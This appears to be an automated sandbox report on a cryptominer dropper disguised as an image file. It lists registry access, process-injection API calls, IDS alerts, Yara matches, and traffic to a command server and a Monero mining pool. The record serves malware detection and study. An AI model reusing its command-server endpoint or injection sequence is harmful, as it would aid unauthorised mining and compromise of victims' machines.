Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A29E110 FindFirstFileExW,	31_2_000002408A29E110
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4AE110 FindFirstFileExW,	67_2_0000014ECB4AE110
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC64E110 FindFirstFileExW,	69_2_00000225DC64E110
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC67E110 FindFirstFileExW,	69_2_00000225DC67E110
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AEE110 FindFirstFileExW,	70_2_00000202C0AEE110
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A66130E110 FindFirstFileExW,	71_2_000002A66130E110
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE0E110 FindFirstFileExW,	72_2_000002BAAEE0E110
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_000002488060E110 FindFirstFileExW,	73_2_000002488060E110

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044697 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 : 192.168.2.4:49731 -> 85.209.133.29:80

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 194.164.234.171:10128

Source: Joe Sandbox View

ASN Name: CMCSUS CMCSUS

Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.4:49775 -> 85.209.133.29:80
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.4:49755 -> 85.209.133.29:80
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49730 -> 194.164.234.171:10128

Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	TCP traffic detected without corresponding DNS query: 85.209.133.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: gulf.moneroocean.stream

Source: unknown

HTTP traffic detected: POST /lowkey/api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 283Content-Type: application/jsonHost: 85.209.133.29User-Agent: cpp-httplib/0.12.6

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 14date: Wed, 25 Dec 2024 16:23:07 GMTData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 14date: Wed, 25 Dec 2024 16:24:06 GMTData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-length: 14date: Wed, 25 Dec 2024 16:25:06 GMTData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: dialer.exe, 00000018.00000003.1719273538.0000027DD0413000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000018.00000002.1719637666.0000027DD0417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF8022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000001C.00000002.1767100204.000001BF81151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000001C.00000002.1836172170.000001BF90074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\0Ty.png.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8B0FE4 NtResumeThread,	28_2_00007FFD9B8B0FE4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8ADF98 NtUnmapViewOfSection,	28_2_00007FFD9B8ADF98
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8B0F20 NtSetContextThread,	28_2_00007FFD9B8B0F20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8B0C5D NtWriteVirtualMemory,	28_2_00007FFD9B8B0C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8B0A3E NtUnmapViewOfSection,	28_2_00007FFD9B8B0A3E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8AE078 NtUnmapViewOfSection,	28_2_00007FFD9B8AE078
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001394 NtOpenKey,	64_2_0000000140001394
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8B1004 NtResumeThread,	66_2_00007FFD9B8B1004
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8B0F40 NtSetContextThread,	66_2_00007FFD9B8B0F40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8B0C7D NtWriteVirtualMemory,	66_2_00007FFD9B8B0C7D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8AE0C8 NtUnmapViewOfSection,	66_2_00007FFD9B8AE0C8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8B0A5E NtUnmapViewOfSection,	66_2_00007FFD9B8B0A5E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8AE098 NtUnmapViewOfSection,	66_2_00007FFD9B8AE098
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8AE0A8 NtUnmapViewOfSection,	66_2_00007FFD9B8AE0A8
Source: C:\Windows\System32\dllhost.exe	Code function: 68_2_0000000140001860 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	68_2_0000000140001860
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC642990 NtEnumerateValueKey,NtEnumerateValueKey,	69_2_00000225DC642990
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AE2604 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	70_2_00000202C0AE2604
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AE211C NtQuerySystemInformation,StrCmpNIW,	70_2_00000202C0AE211C
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE02990 NtEnumerateValueKey,NtEnumerateValueKey,	72_2_000002BAAEE02990
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000000140001860 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	73_2_0000000140001860

Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

File created: C:\Windows\TEMP\ihddniqxcjeb.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_e5142syl.zjb.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8AF63E	28_2_00007FFD9B8AF63E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8ADD58	28_2_00007FFD9B8ADD58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8AE329	28_2_00007FFD9B8AE329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8AFDE9	28_2_00007FFD9B8AFDE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8AF659	28_2_00007FFD9B8AF659
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFD9B8ADCD3	28_2_00007FFD9B8ADCD3
Source: C:\Windows\System32\conhost.exe	Code function: 31_3_0000024089941FF4	31_3_0000024089941FF4
Source: C:\Windows\System32\conhost.exe	Code function: 31_3_0000024089953CD8	31_3_0000024089953CD8
Source: C:\Windows\System32\conhost.exe	Code function: 31_3_000002408994D510	31_3_000002408994D510
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A2A48D8	31_2_000002408A2A48D8
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A29E110	31_2_000002408A29E110
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A292BF4	31_2_000002408A292BF4
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140003240	64_2_0000000140003240
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_00000001400027D0	64_2_00000001400027D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8ADD78	66_2_00007FFD9B8ADD78
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9B8AE349	66_2_00007FFD9B8AE349
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9BB23542	66_2_00007FFD9BB23542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 66_2_00007FFD9BB230D1	66_2_00007FFD9BB230D1
